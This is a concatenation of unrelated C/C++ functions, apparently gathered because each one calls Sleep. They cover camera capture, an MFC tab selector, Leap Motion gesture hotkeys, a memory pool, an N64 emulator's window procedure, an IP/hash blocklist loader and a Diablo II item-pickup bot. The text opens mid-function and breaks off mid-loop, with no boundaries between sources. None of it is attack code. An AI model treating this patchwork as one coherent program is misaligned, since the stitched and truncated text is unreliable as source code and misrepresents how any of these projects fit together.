pthread_create(&thread_display, NULL, Display, (void*)pRgb); } } END: if(bDisplay) { bDisplay = 0; #ifdef _LIN pthread_join(thread_display, &retval); #elif defined _WINDOWS Sleep(50); #endif } stopCapture(); closeCamera(); cvReleaseImage(&pRgb); printf("main function over\n"); return 1; }
///////////////////////////////////////////////////////////////////////////// // CDocSelector message handlers BOOL CDocSelector::AddButton( CWnd* wnd, WORD wIcon, LPCTSTR lpszImage ) { CRect rect; GetClientRect(&rect); // Yogesh Jagota CDocument* pDoc = ((CView *) wnd)->GetDocument(); CString sPath = pDoc->GetPathName(); CString sFileName; if ( sPath.IsEmpty() ) sPath = pDoc->GetTitle(); // Can be only the filename, like Noname01 if ( sPath.Find( _T('\\') ) != -1 ) sFileName = sPath.Mid( sPath.ReverseFind( _T('\\') ) + 1 ); else sFileName = sPath; // If there is no space left to display extra buttons... int nNewSize = ( ( rect.Width() - DS_MENU_BUTTON_WIDTH ) / ( m_Buttons.GetSize() + 1 ) ) - DS_SEPERATER_MARGIN; bool bShowButton = true; if ( nNewSize <= MINWIDTH ) { // Check if the menu button is displayed, if not, display it... m_btnMenuButton.ShowWindow( SW_SHOW ); // Don't show the button... bShowButton = false; } else m_nDisplayedButtons++; // End Yogesh Jagota CSwitcherButton* newbutton = new CSwitcherButton(); // Yogesh Jagota newbutton->m_AttachedView = wnd; // I am saving the frame to make life easier in case // of activation in selection process... CMDIFrameWnd *pFrame = (CMDIFrameWnd *)AfxGetMainWnd(); CWnd * pWnd = pFrame->GetWindow( GW_CHILD ); ASSERT (pWnd); pWnd = pWnd->GetWindow( GW_CHILD ); while (pWnd) { if ( ((CFrameWnd *)pWnd)->GetActiveView() == (CView*)wnd ) newbutton->m_FrameWnd = (CFrameWnd *)pWnd; pWnd = pWnd->GetWindow( GW_HWNDNEXT ); } // Load the icon.... if ( wIcon != 0 ){ newbutton->m_iIcon = ::LoadIcon( AfxGetInstanceHandle(), MAKEINTRESOURCE( wIcon ) ); } else if(lpszImage != 0){ HBITMAP hTmp = (HBITMAP)::LoadImage(NULL, lpszImage, IMAGE_BITMAP, 0, 0, LR_LOADFROMFILE|LR_DEFAULTCOLOR); if(hTmp){ newbutton->m_hBmp = CEmoticonManager::ReplaceColor(hTmp, RGB(255, 0, 255), ::GetSysColor(COLOR_3DFACE), 0); DeleteObject(hTmp); } else{ newbutton->m_hBmp = NULL; } } // End Yogesh Jagota newbutton->m_iID = m_Buttons.GetSize(); if (!newbutton->DoCreate(this, m_iNextButtonStart, rect.top + 3, m_iButtonWidth, DS_HEIGHT - 2, sFileName, sPath )) // Yogesh Jagota { return FALSE; } if ( !bShowButton ) newbutton->ShowWindow( SW_HIDE ); m_Buttons.Add((void*)newbutton); m_iNextButtonStart += m_iButtonWidth + DS_SEPERATER_MARGIN; if (m_iNextButtonStart - DS_SEPERATER_MARGIN > rect.Width()) { // this loop makes a neat little animation int newsize = ((rect.Width() - DS_MENU_BUTTON_WIDTH ) / (m_Buttons.GetSize())) - DS_SEPERATER_MARGIN; // Yogesh Jagota. Removed animation because did'nt liked it. // Remove if you want animated addition or removal of buttons. // register int y; for (y = m_iButtonWidth; y >= newsize; y-=3) { ResizeButtons(y); Sleep(15); } if (y != newsize) // /* ResizeButtons(newsize); */ <- this is the next line... // End Yogesh Jagota ResizeButtons(newsize); if (m_iButtonWidth < MINWIDTH) { // the smallest allowable button size has been reached... // in this version, we can't handle this ASSERT(0); return FALSE; } } else m_btnMenuButton.ShowWindow( SW_HIDE ); // Yogesh Jagota if ( m_iSelectedButton != -1 ) ((CSwitcherButton *) m_Buttons.GetAt( m_iSelectedButton ))->Unselect(); m_iSelectedButton = newbutton->m_iID; ((CSwitcherButton *) m_Buttons.GetAt( m_iSelectedButton ))->Select(); // End Yogesh Jagota return TRUE; }
void QTVS_Leap::ParangusGesture(int fingerIndex, leapSwipeDirection direction) { //Is palm stabilized? // if (abs(controller.frame(3).hands()[0].stabilizedPalmPosition().y - hand.stabilizedPalmPosition().y) > 2.5) // return; if (ui.checkBox_PalmForSwipes->isChecked()) { switch (direction) { case swipe_Up: MouseKeyboardEmulation::HotkeyPress(ui.lineEdit_SwipeUp->keyboardMods, ui.lineEdit_SwipeUp->keyCode); break; case swipe_Down: MouseKeyboardEmulation::HotkeyPress(ui.lineEdit_SwipeDown->keyboardMods, ui.lineEdit_SwipeDown->keyCode); break; case swipe_Left: MouseKeyboardEmulation::HotkeyPress(ui.lineEdit_SwipeLeft->keyboardMods, ui.lineEdit_SwipeLeft->keyCode); break; case swipe_Right: MouseKeyboardEmulation::HotkeyPress(ui.lineEdit_SwipeRight->keyboardMods, ui.lineEdit_SwipeRight->keyCode); break; } return; } switch (fingerIndex) { case leapIndex: switch (direction) { case swipe_Up: // if (abs(controller.frame(3).hands()[0].stabilizedPalmPosition().y - hand.stabilizedPalmPosition().y) < 2) // { if (!ui.checkBox_GamerMode->isChecked()) { // MouseKeyboardEmulation::MouseLeftClickDown(); // Sleep(10); // MouseKeyboardEmulation::MouseLeftClickUp(); } else MouseKeyboardEmulation::HotkeyPress(ui.lineEdit_SwipeUp->keyboardMods, ui.lineEdit_SwipeUp->keyCode); // } break; case swipe_Down: // if (abs(controller.frame(3).hands()[0].stabilizedPalmPosition().y - hand.stabilizedPalmPosition().y) < 2) // { if (!ui.checkBox_GamerMode->isChecked()) { MouseKeyboardEmulation::MouseLeftClickDown(); Sleep(10); MouseKeyboardEmulation::MouseLeftClickUp(); } else MouseKeyboardEmulation::HotkeyPress(ui.lineEdit_SwipeDown->keyboardMods, ui.lineEdit_SwipeDown->keyCode); // } break; case swipe_Left: // if (abs(controller.frame(3).hands()[0].stabilizedPalmPosition().y - hand.stabilizedPalmPosition().y) < 2) // { if (!ui.checkBox_GamerMode->isChecked()) { // MouseKeyboardEmulation::MouseLeftClickDown(); // Sleep(10); // MouseKeyboardEmulation::MouseLeftClickUp(); } else MouseKeyboardEmulation::HotkeyPress(ui.lineEdit_SwipeLeft->keyboardMods, ui.lineEdit_SwipeLeft->keyCode); // } break; case swipe_Right: // if (abs(controller.frame(3).hands()[0].stabilizedPalmPosition().y - hand.stabilizedPalmPosition().y) < 2) // { if (!ui.checkBox_GamerMode->isChecked()) { // MouseKeyboardEmulation::MouseLeftClickDown(); // Sleep(10); // MouseKeyboardEmulation::MouseLeftClickUp(); } else MouseKeyboardEmulation::HotkeyPress(ui.lineEdit_SwipeRight->keyboardMods, ui.lineEdit_SwipeRight->keyCode); // } break; } break; case leapMiddle: if (direction == swipe_Down) { if (!ui.checkBox_GamerMode->isChecked()) { // if (abs(controller.frame(3).hands()[0].stabilizedPalmPosition().y - hand.stabilizedPalmPosition().y) < 2) // { MouseKeyboardEmulation::MouseRightClickDown(); Sleep(10); MouseKeyboardEmulation::MouseRightClickUp(); // } } } break; } }
BOOL CDocSelector::RemoveButton(CWnd* wnd) { // Yogesh Jagota int index = -1; for ( int i = 0; i < m_Buttons.GetSize(); i++ ) { if ( GetButtonFromID( i )->m_AttachedView == wnd ) { index = i; break; } } if ( index == -1 ) return FALSE; // End Yogesh Jagota if (index >= m_Buttons.GetSize() || index < 0) { ASSERT(0); // out of range return FALSE; } if (m_iSelectedButton == index) m_iSelectedButton = -1; if (m_iSelectedButton > index) m_iSelectedButton -= 1; delete GetButtonFromID(index); m_Buttons.RemoveAt(index); for (register int x = index; x < m_Buttons.GetSize(); x++) GetButtonFromID(x)->m_iID -= 1; m_iNextButtonStart -= m_iButtonWidth + 1; if (m_iButtonWidth != DS_WIDTH) { // do that funky animation thing CRect rect; GetClientRect(&rect); int newsize = ((rect.Width() - DS_MENU_BUTTON_WIDTH ) / (m_Buttons.GetSize())) - DS_SEPERATER_MARGIN; if (newsize > DS_WIDTH) newsize = DS_WIDTH; // Yogesh Jagota. Removed animation because did'nt liked it. // Remove if you want animated addition or removal of buttons. // // this loop is shortened to make the following loop.... if (newsize > m_iButtonWidth) { register int y; for (y = m_iButtonWidth; y <= newsize; y+=3) { ResizeButtons(y); Sleep(15); } if (y != newsize) ResizeButtons(newsize); } // End Yogesh Jagota if (newsize > m_iButtonWidth) ResizeButtons(newsize); } ResizeButtons(m_iButtonWidth); return TRUE; }
QTVS_Leap::QTVS_Leap(QWidget *parent ) : QMainWindow(parent) { ui.setupUi(this); // HDC hDC_Desktop = GetDC(0); /* Draw a simple blue rectangle on the desktop */ // RECT rect = { 20, 20, 200, 200 }; // HBRUSH blueBrush = CreateSolidBrush(RGB(0, 0, 255)); // FillRect(hDC_Desktop, &rect, blueBrush); ScreenResX = GetSystemMetrics(SM_CXSCREEN); ScreenResY = GetSystemMetrics(SM_CYSCREEN); POINT pt; pt.x = 10; pt.y = 10; HMONITOR monitor = MonitorFromPoint(pt, MONITOR_DEFAULTTONEAREST); MONITORINFO mi = { sizeof(MONITORINFO) }; GetMonitorInfo(monitor, &mi); rcMonitor = mi.rcMonitor; debugDisplayString = QString::number(rcMonitor.right - rcMonitor.left); Sleep(500); debugWindowDrag_Left.left = -1; debugWindowDrag_Right.left = -1; //10 fingers fingerTraces.append(new FingerTraceWindow()); fingerTraces.append(new FingerTraceWindow()); fingerTraces.append(new FingerTraceWindow()); fingerTraces.append(new FingerTraceWindow()); fingerTraces.append(new FingerTraceWindow()); fingerTraces.append(new FingerTraceWindow()); fingerTraces.append(new FingerTraceWindow()); fingerTraces.append(new FingerTraceWindow()); fingerTraces.append(new FingerTraceWindow()); fingerTraces.append(new FingerTraceWindow()); // thumbTrace = new FingerTraceWindow(); // thumbTrace->show(); // thumbTrace = new FingerTraceWindow(); // indexTrace = new FingerTraceWindow(); // indexTrace->show(); // middleTrace = new FingerTraceWindow(); // middleTrace->show(); // ringTrace = new FingerTraceWindow(); // ringTrace->show(); // pinkieTrace = new FingerTraceWindow(); // pinkieTrace->show(); MouseFocusCenter.x = -1; QtConcurrent::run(this, &QTVS_Leap::Debug_ControllerListener); // QMediaPlayer* player = new QMediaPlayer; FingerSwipeThrottleTimer = new QTimer(this); connect(FingerSwipeThrottleTimer, SIGNAL(timeout()), this, SLOT(resetSwipeThrottle())); //connect(this, SIGNAL(ParangusGestureDetected(int fingerIndex, leapSwipeDirection direction)), this, SLOT( ParangusGesture(int fingerIndex, leapSwipeDirection direction))); QTimer * debugTimer = new QTimer; connect(debugTimer, SIGNAL(timeout()), this, SLOT(DebugLooper())); debugTimer->start(5); }
static void segment_allocate_add(mempool p, uint64 count) { // Required Memory: // sz( segment ) // count * sz( real_node_size ) // // where real node size is: // ALIGN_TO_16( sz( node ) ) + p->elem_size // so the nodes usable address is nodebase + ALIGN_TO_16(sz(node)) // size_t total_sz; struct pool_segment *seg = NULL; struct node *nodeList = NULL; struct node *node = NULL; char *ptr = NULL; uint64 i; total_sz = ALIGN_TO_16(sizeof(struct pool_segment)) + ((size_t)count * (sizeof(struct node) + (size_t)p->elem_size)) ; #ifdef MEMPOOL_DEBUG ShowDebug(read_message("Source.common.mempool_debug"), p->name, count, (float)total_sz/1024.f/1024.f); #endif // allocate! (spin forever until weve got the memory.) i=0; while(1) { ptr = (char *)aMalloc(total_sz); if(ptr != NULL) break; i++; // increase failcount. if(!(i & 7)) { ShowWarning(read_message("Source.common.mempool_debug2"), (float)total_sz/1024.f/1024.f, i); #ifdef WIN32 Sleep(1000); #else sleep(1); #endif } else { rathread_yield(); /// allow/force vuln. ctxswitch } }//endwhile: allocation spinloop. // Clear Memory. memset(ptr, 0x00, total_sz); // Initialize segment struct. seg = (struct pool_segment *)ptr; ptr += ALIGN_TO_16(sizeof(struct pool_segment)); seg->pool = p; seg->num_nodes_total = count; seg->num_bytes = total_sz; // Initialze nodes! nodeList = NULL; for(i = 0; i < count; i++) { node = (struct node *)ptr; ptr += sizeof(struct node); ptr += p->elem_size; node->segment = seg; #ifdef MEMPOOLASSERT node->used = false; node->magic = NODE_MAGIC; #endif if(p->onalloc != NULL) p->onalloc(NODE_TO_DATA(node)); node->next = nodeList; nodeList = node; } // Link in Segment. EnterSpinLock(&p->segmentLock); seg->next = p->segments; p->segments = seg; LeaveSpinLock(&p->segmentLock); // Link in Nodes EnterSpinLock(&p->nodeLock); nodeList->next = p->free_list; p->free_list = nodeList; LeaveSpinLock(&p->nodeLock); // Increase Stats: InterlockedExchangeAdd64(&p->num_nodes_total, count); InterlockedExchangeAdd64(&p->num_nodes_free, count); InterlockedIncrement64(&p->num_segments); InterlockedExchangeAdd64(&p->num_bytes_total, total_sz); }//end: segment_allocate_add()
LRESULT CALLBACK CMainGui::MainGui_Proc(HWND hWnd, DWORD uMsg, DWORD wParam, DWORD lParam) { switch (uMsg) { case WM_CREATE: { //record class for future usage LPCREATESTRUCT lpcs = (LPCREATESTRUCT)lParam; CMainGui * _this = (CMainGui *)lpcs->lpCreateParams; SetProp(hWnd, "Class", _this); _this->m_hMainWindow = hWnd; _this->CreateStatusBar(); //Move the Main window to the location last executed from or center the window int X = (GetSystemMetrics(SM_CXSCREEN) - _this->Width()) / 2; int Y = (GetSystemMetrics(SM_CYSCREEN) - _this->Height()) / 2; g_Settings->LoadDword(UserInterface_MainWindowTop, (uint32_t &)Y); g_Settings->LoadDword(UserInterface_MainWindowLeft, (uint32_t &)X); _this->SetPos(X, Y); _this->ChangeWinSize(640, 480); } break; case WM_SYSCOMMAND: switch (wParam) { case SC_SCREENSAVE: case SC_MONITORPOWER: { CMainGui * _this = (CMainGui *)GetProp(hWnd, "Class"); if (_this && _this->bCPURunning() && !g_Settings->LoadBool(GameRunning_CPU_Paused) && g_Settings->LoadDword(Setting_DisableScrSaver)) { return 0; } } break; case SC_MAXIMIZE: { CMainGui * _this = (CMainGui *)GetProp(hWnd, "Class"); if (_this) { if (_this->RomBrowserVisible()) { _this->RomBrowserMaximize(true); } } } break; } return DefWindowProc(hWnd, uMsg, wParam, lParam); break; case WM_MOVE: { CMainGui * _this = (CMainGui *)GetProp(hWnd, "Class"); if (!_this->m_bMainWindow || !_this->m_Created || _this->m_AttachingMenu || _this->m_MakingVisible || IsIconic(hWnd) || _this->ShowingRomBrowser()) { break; } if (IsZoomed(hWnd)) { if (_this->RomBrowserVisible()) { // save that browser is maximized } break; } //get the current position of the window RECT WinRect; GetWindowRect(hWnd, &WinRect); //save the location of the window if (_this->RomBrowserVisible()) { _this->m_SaveRomBrowserPos = true; _this->m_SaveRomBrowserTop = WinRect.top; _this->m_SaveRomBrowserLeft = WinRect.left; } else { _this->m_SaveMainWindowPos = true; _this->m_SaveMainWindowTop = WinRect.top; _this->m_SaveMainWindowLeft = WinRect.left; } KillTimer(hWnd, Timer_SetWindowPos); SetTimer(hWnd, Timer_SetWindowPos, 1000, NULL); } if (CGuiSettings::bCPURunning() && g_BaseSystem) { if (g_Plugins->Gfx() && g_Plugins->Gfx()->MoveScreen) { WriteTrace(TraceGFXPlugin, TraceDebug, "Starting"); g_Plugins->Gfx()->MoveScreen((int)(short)LOWORD(lParam), (int)(short)HIWORD(lParam)); WriteTrace(TraceGFXPlugin, TraceDebug, "Done"); } } break; case WM_TIMER: if (wParam == Timer_SetWindowPos) { KillTimer(hWnd, Timer_SetWindowPos); CMainGui * _this = (CMainGui *)GetProp(hWnd, "Class"); _this->SaveWindowLoc(); break; } break; case WM_SIZE: { CMainGui * _this = (CMainGui *)GetProp(hWnd, "Class"); if (_this) { _this->Resize(wParam, LOWORD(lParam), HIWORD(lParam)); } if (_this) { if (wParam == SIZE_MAXIMIZED) { if (_this->RomBrowserVisible()) { _this->RomBrowserMaximize(true); } } _this->ResizeRomList(LOWORD(lParam), HIWORD(lParam)); } if (_this) { if (wParam == SIZE_RESTORED && _this->RomBrowserVisible()) { _this->RomBrowserMaximize(false); } } } break; case WM_NOTIFY: { CMainGui * _this = (CMainGui *)GetProp(hWnd, "Class"); if (_this == NULL || !_this->RomBrowserVisible() || !_this->RomListNotify(wParam, lParam)) { return DefWindowProc(hWnd, uMsg, wParam, lParam); } } break; case WM_DRAWITEM: { CMainGui * _this = (CMainGui *)GetProp(hWnd, "Class"); if (_this) { if (!_this->RomListDrawItem(wParam, lParam)) { return DefWindowProc(hWnd, uMsg, wParam, lParam); } } } break; case WM_PAINT: { // CMainGui * _this = (CMainGui *)GetProp(hWnd,"Class"); // CN64System * System = _this->m_System; // if (bCPURunning() && Settings->Load(CPU_Paused)) { // CPlugins * Plugins = System->Plugins(); // if (Plugins->Gfx()->DrawScreen) { // Plugins->Gfx()->DrawScreen(); // } // } ValidateRect(hWnd, NULL); } break; case WM_KEYUP: { CMainGui * _this = (CMainGui *)GetProp(hWnd, "Class"); if (_this->m_bMainWindow && bCPURunning()) { if (g_BaseSystem) { if (g_Plugins && g_Plugins->Control()->WM_KeyUp) { g_Plugins->Control()->WM_KeyUp(wParam, lParam); } } } } break; case WM_KEYDOWN: { CMainGui * _this = (CMainGui *)GetProp(hWnd, "Class"); if (_this->m_bMainWindow && bCPURunning()) { if (g_BaseSystem) { if (g_Plugins && g_Plugins->Control()->WM_KeyDown) { g_Plugins->Control()->WM_KeyDown(wParam, lParam); } } } } break; case WM_SETFOCUS: { CMainGui * _this = (CMainGui *)GetProp(hWnd, "Class"); if (_this->RomBrowserVisible()) { PostMessage(hWnd, WM_BROWSER_TOP, 0, 0); break; } if (_this->m_bMainWindow && bCPURunning() && bAutoSleep()) { if (g_BaseSystem) { g_BaseSystem->ExternalEvent(SysEvent_ResumeCPU_AppGainedFocus); } } } break; case WM_KILLFOCUS: { CMainGui * _this = (CMainGui *)GetProp(hWnd, "Class"); if (_this->RomBrowserVisible()) { break; } if (_this->m_bMainWindow && bCPURunning() && bAutoSleep()) { if (g_BaseSystem) { g_BaseSystem->ExternalEvent(SysEvent_PauseCPU_AppLostFocus); } } } break; case WM_ACTIVATEAPP: { CMainGui * _this = (CMainGui *)GetProp(hWnd, "Class"); DWORD fActive = (BOOL)wParam; if (fActive && _this->RomBrowserVisible()) { PostMessage(hWnd, WM_BROWSER_TOP, 0, 0); } if (_this->m_bMainWindow && bCPURunning()) { if (!fActive && g_Settings->LoadBool(UserInterface_InFullScreen)) { Notify().WindowMode(); if (bAutoSleep() && g_BaseSystem) { //System->ExternalEvent(PauseCPU_AppLostActiveDelayed ); } break; } if (bAutoSleep() || fActive) { if (g_BaseSystem) { g_BaseSystem->ExternalEvent(fActive ? SysEvent_ResumeCPU_AppGainedActive : SysEvent_PauseCPU_AppLostActive); } } } } break; case WM_HIDE_CUROSR: if (!wParam) { while (ShowCursor(FALSE) >= 0) { Sleep(0); } } else { while (ShowCursor(TRUE) < 0) { Sleep(0); } } break; case WM_MAKE_FOCUS: { CMainGui * _this = (CMainGui *)GetProp(hWnd, "Class"); _this->BringToTop(); } break; case WM_BROWSER_TOP: { CMainGui * _this = (CMainGui *)GetProp(hWnd, "Class"); _this->RomBrowserToTop(); } break; case WM_RESET_PLUGIN: { CMainGui * _this = (CMainGui *)GetProp(hWnd, "Class"); if (_this->m_ResetInfo != NULL) { g_Notify->BreakPoint(__FILE__, __LINE__); } _this->m_ResetInfo = (RESET_PLUGIN *)lParam; _this->m_ResetPlugins = true; } break; case WM_GAME_CLOSED: { CMainGui * _this = (CMainGui *)GetProp(hWnd, "Class"); Notify().WindowMode(); if (g_Settings->LoadDword(RomBrowser_Enabled)) { _this->ShowRomBrowser(); } _this->RefreshMenu(); _this->MakeWindowOnTop(false); _this->SetStatusText(0, L""); _this->SetStatusText(1, L""); } break; case WM_COMMAND: { CMainGui * _this = (CMainGui *)GetProp(hWnd, "Class"); if (_this == NULL) { break; } switch (LOWORD(wParam)) { case ID_POPUPMENU_PLAYGAME: g_BaseSystem->RunFileImage(_this->CurrentedSelectedRom()); break; case ID_POPUPMENU_ROMDIRECTORY: _this->SelectRomDir(); break; case ID_POPUPMENU_REFRESHROMLIST: _this->RefreshRomBrowser(); break; case ID_POPUPMENU_ROMINFORMATION: { RomInformation Info(_this->CurrentedSelectedRom()); Info.DisplayInformation(hWnd); } break; case ID_POPUPMENU_EDITSETTINGS: case ID_POPUPMENU_EDITCHEATS: { CN64Rom Rom; Rom.LoadN64Image(_this->CurrentedSelectedRom(), true); Rom.SaveRomSettingID(true); if (LOWORD(wParam) == ID_POPUPMENU_EDITSETTINGS) { CSettingConfig SettingConfig(true); SettingConfig.Display(hWnd); } if (LOWORD(wParam) == ID_POPUPMENU_EDITCHEATS) { CCheatsUI * cheatUI = new CCheatsUI; g_cheatUI = cheatUI; cheatUI->SelectCheats(hWnd, true); if (g_cheatUI == cheatUI) { g_cheatUI = NULL; } } if (g_Rom) { g_Rom->SaveRomSettingID(false); } else { Rom.ClearRomSettingID(); } } break; default: if (_this->m_Menu) { if (LOWORD(wParam) > 5000 && LOWORD(wParam) <= 5100) { if (g_Plugins->RSP()) { g_Plugins->RSP()->ProcessMenuItem(LOWORD(wParam)); } } else if (LOWORD(wParam) > 5100 && LOWORD(wParam) <= 5200) { if (g_Plugins->Gfx()) { WriteTrace(TraceGFXPlugin, TraceDebug, "Starting"); g_Plugins->Gfx()->ProcessMenuItem(LOWORD(wParam)); WriteTrace(TraceGFXPlugin, TraceDebug, "Done"); } } else if (LOWORD(wParam) > 5200 && LOWORD(wParam) <= 5300) { if (g_Plugins->Gfx() && g_Plugins->Gfx()->OnRomBrowserMenuItem != NULL) { CN64Rom Rom; if (!Rom.LoadN64Image(_this->CurrentedSelectedRom(), true)) { break; } Rom.SaveRomSettingID(true); g_Notify->DisplayMessage(0, ""); BYTE * RomHeader = Rom.GetRomAddress(); WriteTrace(TraceGFXPlugin, TraceDebug, "OnRomBrowserMenuItem - Starting"); g_Plugins->Gfx()->OnRomBrowserMenuItem(LOWORD(wParam), hWnd, RomHeader); WriteTrace(TraceGFXPlugin, TraceDebug, "OnRomBrowserMenuItem - Done"); if (g_Rom) { g_Rom->SaveRomSettingID(false); } else { g_Settings->SaveString(Game_IniKey, ""); } } } else if (_this->m_Menu->ProcessMessage(hWnd, HIWORD(wParam), LOWORD(wParam))) { return true; } } } } break; case WM_DROPFILES: { char filename[MAX_PATH]; HDROP hDrop = (HDROP)wParam; DragQueryFile(hDrop, 0, filename, sizeof(filename)); DragFinish(hDrop); CN64System::RunFileImage(filename); } break; case WM_DESTROY: WriteTrace(TraceUserInterface, TraceDebug, "WM_DESTROY - start"); { CMainGui * _this = (CMainGui *)GetProp(hWnd, "Class"); if (_this->m_bMainWindow) { Notify().WindowMode(); } _this->m_hMainWindow = NULL; WriteTrace(TraceUserInterface, TraceDebug, "WM_DESTROY - 1"); if (_this->m_bMainWindow) { _this->SaveRomListColoumnInfo(); WriteTrace(TraceUserInterface, TraceDebug, "WM_DESTROY - 2"); _this->SaveWindowLoc(); } } WriteTrace(TraceUserInterface, TraceDebug, "WM_DESTROY - 3"); RemoveProp(hWnd, "Class"); WriteTrace(TraceUserInterface, TraceDebug, "WM_DESTROY - 4"); PostQuitMessage(0); WriteTrace(TraceUserInterface, TraceDebug, "WM_DESTROY - Done"); break; default: return DefWindowProc(hWnd, uMsg, wParam, lParam); } return TRUE; }
void CListLoader::OnRun() { while ( IsThreadEnabled() && m_pQueue.GetCount() ) { CSecureRule* pRule = m_pQueue.GetHead(); if ( ! pRule || ! pRule->m_pContent || pRule->m_nType != CSecureRule::srExternal ) { m_pQueue.RemoveHead(); continue; } CString strPath = pRule->GetContentWords(); if ( strPath.GetLength() < 6 ) { m_pQueue.RemoveHead(); continue; } CString strCommentBase = pRule->m_sComment; if ( strCommentBase.IsEmpty() ) strCommentBase = _T("• %u"); else if ( strCommentBase.ReverseFind( _T('•') ) >= 0 ) strCommentBase = strCommentBase.Left( strCommentBase.ReverseFind( _T('•') ) + 1 ) + _T(" %u"); else strCommentBase += _T(" • %u"); if ( strPath[1] != _T(':') ) strPath = Settings.General.DataPath + strPath; CFile pFile; if ( ! pFile.Open( (LPCTSTR)strPath.GetBuffer(), CFile::modeRead ) ) { m_pQueue.RemoveHead(); continue; } const BYTE nIndex = Security.SetRuleIndex( pRule ); try { CBuffer pBuffer; const DWORD nLength = pFile.GetLength(); pBuffer.EnsureBuffer( nLength ); pBuffer.m_nLength = nLength; pFile.Read( pBuffer.m_pBuffer, nLength ); pFile.Close(); // Format: Delineated Lists CString strLine, strURN; DWORD nCount = 0; int nPos; //TIMER_START while ( pBuffer.ReadLine( strLine ) && IsThreadEnabled() && pRule ) { strLine.TrimRight(); if ( strLine.GetLength() < 7 ) continue; // Blank/Invalid line if ( strLine[ 0 ] == '#' ) { if ( strLine[ strLine.GetLength() - 1 ] == _T(':') && strLine.Find( _T("urn:") ) > 0 ) strURN = strLine.Mid( strLine.Find( _T("urn:") ) ); // Default "# urn:type:" continue; // Comment line } if ( strLine[ 0 ] < '0' || strLine[ 0 ] > 'z' ) // Whitespace/Chars continue; // Invalid line if ( ++nCount % 10 == 0 ) { if ( pRule->m_sComment.IsEmpty() ) strCommentBase = _T("• %u"); else if ( pRule->m_sComment.ReverseFind( _T('•') ) < 0 ) strCommentBase = pRule->m_sComment + _T(" • %u"); pRule->m_sComment.Format( strCommentBase, nCount ); Sleep( 1 ); // Limit CPU } // Hashes: if ( ( ! strURN.IsEmpty() && strLine.Find( _T('.'), 5 ) < 0 ) || StartsWith( strLine, _PT("urn:") ) ) { nPos = strLine.FindOneOf( _T(" \t") ); if ( nPos > 0 ) strLine.Truncate( nPos ); // Trim at whitespace (remove any trailing comments) if ( ! strURN.IsEmpty() && ! StartsWith( strLine, _PT("urn:") ) ) strLine = strURN + strLine; // Default "urn:type:" prepended if ( strLine.GetLength() > 35 ) Security.SetHashMap( strLine, nIndex ); else nCount--; continue; } // IPs: nPos = strLine.ReverseFind( _T(':') ); if ( nPos > 0 ) strLine = strLine.Mid( nPos + 1 ); // Remove leading comment for some formats nPos = strLine.FindOneOf( _T(" \t") ); if ( nPos > 0 ) strLine.Truncate( nPos ); // Trim at whitespace (remove any trailing comments) if ( strLine.GetLength() < 7 || strLine.Find( _T('.') ) < 1 ) { nCount--; continue; } nPos = strLine.Find( _T('-') ); // Possible Range if ( nPos < 0 ) // Single IP { Security.SetAddressMap( IPStringToDWORD( strLine, TRUE ), nIndex ); continue; } CString strFirst = strLine.Left( nPos ); CString strLast = strLine.Mid( nPos + 1 ); if ( strFirst == strLast ) { Security.SetAddressMap( IPStringToDWORD( strLine, TRUE ), nIndex ); continue; } // inet_addr( CT2CA( (LPCTSTR)strLast ) DWORD nFirst = IPStringToDWORD( strFirst, FALSE ); DWORD nLast = IPStringToDWORD( strLast, FALSE ); if ( nFirst < 10 || nFirst >= 0xE0000000 ) // 0 or "0.0." or "224-255" continue; // Redundant/Invalid //if ( Network.IsReserved( (IN_ADDR*)nFirst ) ) // Crash //if ( StartsWith( strFirst, _PT("0.0") ) || // StartsWith( strFirst, _PT("6.0") ) || // StartsWith( strFirst, _PT("7.0") ) || // StartsWith( strFirst, _PT("11.0") ) || // StartsWith( strFirst, _PT("55.0") ) || // StartsWith( strFirst, _PT("127.0") ) ) // continue; // Redundant for ( DWORD nRange = Settings.Security.ListRangeLimit ; nFirst <= nLast && nRange ; nFirst++, nRange-- ) { Security.SetAddressMap( htonl( nFirst ), nIndex ); // Reverse host-byte order } } if ( pRule ) pRule->m_sComment.Format( strCommentBase, nCount ); // Final update PostMainWndMessage( WM_SANITY_CHECK ); //TIMER_STOP } catch ( CException* pException ) { if ( pFile.m_hFile != CFile::hFileNull ) pFile.Close(); // File is still open so close it pException->Delete(); } m_pQueue.RemoveHead(); // Done } Exit(); Wakeup(); Sleep( 5000 ); // Recheck if ( ! m_pQueue.GetCount() ) // && IsThreadEnabled() { CQuickLock oLock( Security.m_pSection ); Security.m_Cache.clear(); PostMainWndMessage( WM_SANITY_CHECK ); } }
PMEXPORT void Pt_Sleep(int32_t duration) { Sleep(duration); }
bool _d2Run::Update(float Lag) { vector<item>::iterator inventoryIt; if(ticksDiff > 0.35f) { if( beltPotionsRejuve.size() < 8) { if( inventoryPotionsRejuve.size() > 0) { if( transferItem.Id == 0) { for(inventoryIt = inventoryPotionsRejuve.begin(); inventoryIt != inventoryPotionsRejuve.end(); inventoryIt++) { if(inventoryIt->pickupAttempted == false) { transferItem = *inventoryIt; inventoryIt->Id = 0; Core->itemToBelt( transferItem ); inventoryIt->pickupAttempted = true; ticksEnd = GetTickCount(); return true; } } // for } else { // transferItem.id == 0 transferCount++; if(transferCount > 10) { transferItem.Id = 0; ticksEnd = GetTickCount(); return true; } ticksEnd = GetTickCount(); return true; } } // inventoryPotions } } // ticksDiff >0.2 if(waitTimer && ticksDiff > 0.10f) { waitTimer--; ticksEnd = GetTickCount(); return true; } // 0 is right hand if(skillTargetID[0] != 0 || skillTargetID[1] != 0) { // Check our skills // Right Hand if(skillCurrentID[0] != skillTargetID[0]) { if(skillCounter[0]++ == 0) { Core->SkillSelect( skillTargetID[0], false); ticksEnd = GetTickCount(); } else { if(skillCounter[0] > 1000) { skillCounter[0] = 0; //Core->GameOver("Right Skill change failed!", true); } return true; } attackRecast = false; return true; } // skillCurrentID[0] // Left Hand if(skillCurrentID[1] != skillTargetID[1]) { if(skillCounter[1]++ == 0) { Core->SkillSelect( skillTargetID[1], true); ticksEnd = GetTickCount(); } else { if(skillCounter[1] > 1000) { skillCounter[1] = 0; //Core->GameOver("Left Skill change failed!", true); } return true; } attackRecast = false; return true; } //skillCurrentID[1] } // TargetIDs != 0 if(ticksDiff > 0.20f && pickItems.size() > 0 && pickTime && pickingItem.Id == 0) { if(pickupTele && !teleporting) pickupTele = false; if(!teleporting && !pickupTele) if(itemsPickup()) { ticksEnd = GetTickCount(); return true; } } if(groundItems.size() > 0 || pickingItem.Id) { item Item; if(pickupTele && !teleporting) pickupTele = false; if(ticksDiff > 0.20f && !teleporting && !pickupTele) { if(pickingItem.Id == 0) { for(size_t i = 0; i < groundItems.size(); 